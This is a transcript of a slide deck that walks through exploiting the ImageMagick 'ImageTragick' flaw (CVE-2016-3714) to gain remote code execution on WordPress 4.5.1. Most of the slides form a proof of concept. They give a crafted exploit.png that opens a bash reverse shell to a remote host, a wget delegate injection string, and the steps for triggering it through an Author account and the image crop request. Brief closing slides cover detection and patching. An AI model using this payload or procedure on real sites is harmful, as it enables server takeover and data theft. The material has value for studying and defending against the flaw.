Top Banner
Remote Code Execute Wordpress 4.5.1 AUTHER: SINA YEGANEH EMAIL:[email protected]
17

Remote code execute wordpress

Apr 08, 2017

Download

Sina Yeganeh
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Remote code execute wordpress

Remote Code Execute Wordpress 4.5.1

AUTHER: SINA YEGANEH

EMAIL:[email protected]

Page 2: Remote code execute wordpress

ImageMagick

Imagick is a native php extension to create and modify images

using the ImageMagick API.

ImageMagick is a software suite to create, edit, and compose

bitmap images. It can read, convert and write images in a variety of

formats (over 100) including DPX, EXR, GIF, JPEG, JPEG-2000, PDF,

PhotoCD, PNG, Postscript, SVG, and TIFF.

Page 3: Remote code execute wordpress

Image Magick Vulnerability Information

A few days ago an Image Magick vulnerability was disclosed CVE-

2016-3714

This vulnerability resolve pictures from Magiccore/constitute.c of

ReadImage Function , if the image address is https:// at the

beginning ,that call InvokeDelegate

Page 4: Remote code execute wordpress

Exploit ImageMagick

One of the default delegate commands uses the following to

handle HTTPS requests:

"wget" -q -O "%o" "https:%M”

where %M is the actual link from the input. It is possible to pass the

value like:

example.com"|ls "-la

Page 5: Remote code execute wordpress

How is WordPress affected?

WordPress select a Library for Editing Images. WordPress image

processing use Imagick Library by default.

Page 6: Remote code execute wordpress

How is WordPress affected?

If WordPress Select Imagick Library Then Load it.

Page 7: Remote code execute wordpress

How is WordPress affected?

get_attached_file function in wp_crop_image function invoke system

function mentioned in library

Page 8: Remote code execute wordpress

Poc

Upload an normal image format

With Author permissions login to account, publish an article, insert

the Media.

Page 9: Remote code execute wordpress

Poc

Create exploit.png file :

push graphic-context

viewbox 0 0 640 480

fill 'url (https://example.com/image.jpg "|bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”)'

pop graphic-context

Upload Exploit.png and add to Post

Page 10: Remote code execute wordpress

poc

click on our normal picture , select Edit , then edit Orginal

Page 11: Remote code execute wordpress

poc

Rotate/Crop image then ‘Copy as

cURL’ the invoked link.

Page 12: Remote code execute wordpress

poc

Then click the broken image

Edit and Edit Original, check

requests listed on network

and find admin-ajax.php

see requests with ‘post’

type, copy _ajax_nonceAnd postid parameter.

Page 13: Remote code execute wordpress

poc

Paste New Parameters from Broken Image to Curl Command mentioned before

Proof of Concept By Getting Connect Back

(Change bash command As you wish)

Page 14: Remote code execute wordpress

How do I know if my site is

vulnerable?

Inspect the output of the phpinfo() function for “Imagick”.

Run php -m | grep imagick on the command line.

Page 15: Remote code execute wordpress

How do I patch the vulnerability?

Currently the best known fix is to add a policy.xml file to your ImageMagick

installation to limit the delegates that ImageMagick will use. Due to the ongoing

nature of this issue, we recommend you refer to and follow

https://imagetragick.com/ for instructions on how to handle the problem.

Documentation on the policy.xml file can be found at

https://www.imagemagick.org/script/resources.php.

Page 16: Remote code execute wordpress

Refrance:

http://www.imagemagick.org/

https://make.wordpress.org/core/2016/05/06/imagemagick-

vulnerability-information/

https://access.redhat.com/security/vulnerabilities/2296071

http://www.secpulse.com/archives/45802.html

Page 17: Remote code execute wordpress

End